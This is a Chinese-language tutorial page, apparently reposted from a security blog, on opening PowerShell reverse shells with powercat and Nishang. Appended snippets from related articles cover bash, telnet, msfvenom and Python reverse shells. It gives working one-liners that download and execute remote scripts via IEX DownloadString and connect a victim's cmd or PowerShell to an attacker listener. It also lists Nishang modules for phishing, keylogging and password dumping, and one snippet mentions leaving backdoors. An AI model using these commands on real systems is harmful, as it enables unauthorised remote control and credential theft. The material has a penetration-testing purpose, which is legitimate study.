[Shell]Powershell反弹shell

原作者:Cream
文章出处: 贝塔安全实验室

0x01 Powershell反弹shell

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。

各个系统中Powershell的版本如下:

可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:

2.1 powercat反弹shell

powercathttps://github.com/besimorhino/powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

攻击者监听:

nc –lvnp 9999 

目标机反弹CMD:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

攻击机收到目标机的回弹:

若攻击机没有nc的话,可以先下载一个powercat,之后再进行监听:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

攻击机收到目标机的回弹:

2.2 nishang反弹shell

Nishanghttps://github.com/samratashok/nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。

导入Nishang模块
Import-Module .\nishang.psm1
导入成功后,产看Nishang中模块
Get-Command –Module nishang

Nishang攻击模块有(只介绍部分):

Check-VM:检测目标机器是否为虚拟机

Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼

Copy-VSS:利用Volume Shaodow Copy复制sam文件

FireBuster FireLiStener:用作内网环境扫描

Keylogger:用作键盘记录

Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码

Get-PassHashes:获取系统密码hash值
2.2.1 基于TCP的Powershell交互式shell

在目标机上执行如下的代码:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse  反向连接
- Bind 正向连接

反向连接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

2.2.2 基于UDP的Powershell交互式shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

在攻击者的电脑上执行如下的命令:

nc -lup 6005 

上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:

nc -nvu 192.168.1.24 4555

2.2.3 基于ICMP的Poershell交互式Shell

需要借助于icmpsh_m.py文件,其用法如下:

./icmpsh-m.py <source IP address> <destination IP address>

在被攻击的机器上执行:

Invoke-PowerShellIcmp -IPAddress <source IP address>
2.2.4 基于HTTP/HTTPS的Poershell交互式Shell
HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps  –IPAddess 192.168.1.4 –Port 4444
然后会生成一个powershell如下的命令····IEX  ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell

0x02 参考链接

反弹shell的学习总结

原文地址:https://www.cnblogs.com/-mo-/p/11487997.html

时间: 2024-10-08 20:56:42

[Shell]Powershell反弹shell的相关文章

[Shell]Telnet反弹shell

原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家. 前提条件:目标机为linux系统并支持telnet服务:攻击机支持telnet服务,攻击机装有NC (windows.linux均可). 这里我准备了一个公网服务器和一个本地虚拟机,公网服务器为攻击机,虚拟机为目标机. 0x01 第一种 1.攻击机先执行监听:nc -l 2222 2.目标机执行:mknod a

利用powershell反弹shell到metasploit

一.使用msfvenom生成PS1文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.217.162 LPORT=7788 -f psh-reflection >7788.ps1 二.开启msf监听: msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp pa

反弹shell方法总结

本机ip为10.10.10.11,监听端口443. Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1 exec 5<>/dev/tcp/10.10.10.11/443;cat &

Python 反弹shell后门用51CTO Blog绑定

前言:仅做交流,仅做交流. 除了51CTO当然也可以用其他的媒介啦,比如微博,微信等.这里就用51CTO吧 思路:存在这样的一个情况,我们在某台机器上放置一个木马~~~里面我们会写入自己服务端的IP,但是可能我们的IP会变,我们当然可以用域名解决这个问题,不过那样显得不是很优雅,而且域名要钱的啦~~~所以我们需要一个中间件! 在说说什么是反弹Shell,反弹shell的好处在于被攻击的主机可能限制了进口,即只允许某个端口的链接,其他链接都屏蔽,这个时候我们就需要被攻击的主机主动来连我们的服务器,

Linux 反弹 Shell

攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动. 同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能.渗透测试中,linux主机一般自带nc,Windows主机需要自行上传. 姿势一

JS探测内网是否存在bash漏洞,反弹shell

来t00ls几天啦,也没时间写原创. --(本人首发土司啦.) 最近看到老外一篇文章,觉得很不错. 测试了一下把这个东西把过程分享给大伙,希望大伙不要踩,忙完这几天就写原创 调用一个js,扫描内网是否存在bash漏洞,然后反弹shell回来的一个小东西.搞APT应该用得到啦. 测试过程: 老外发的一个Poc我内网搭建测试 先监听了本地250端口 然后搭建之后访问 1 http://192.168.1.9/test.html?s=192.168.1.1&e3=1&e4=20&d=19

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 [email protected]:~# nc 192.168.12.109 2222 -e /bin/bash 反弹shell成功后即可在windows的cmd.exe下执行Linux下的/

Python3实现——反弹shell

一.演示一下反弹shell的效果 0.看一下python版本 1.我们这边是服务端 客户端连接后就可以输入命令了,比如下面截图中输入的pwd 2.目标机是客户端,输入ip和端口 二.代码+注释 0.服务端 1.客户端

『python』让我来编码一下反弹shell的一句话代码

地址:https://github.com/donghouhe/python_fantan_shell_encode/blob/master/netcat_encode.py 如果你觉得可以,点个star鼓励一下 这是原始的一句命令 1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1″,1234));os.dup2(s.fi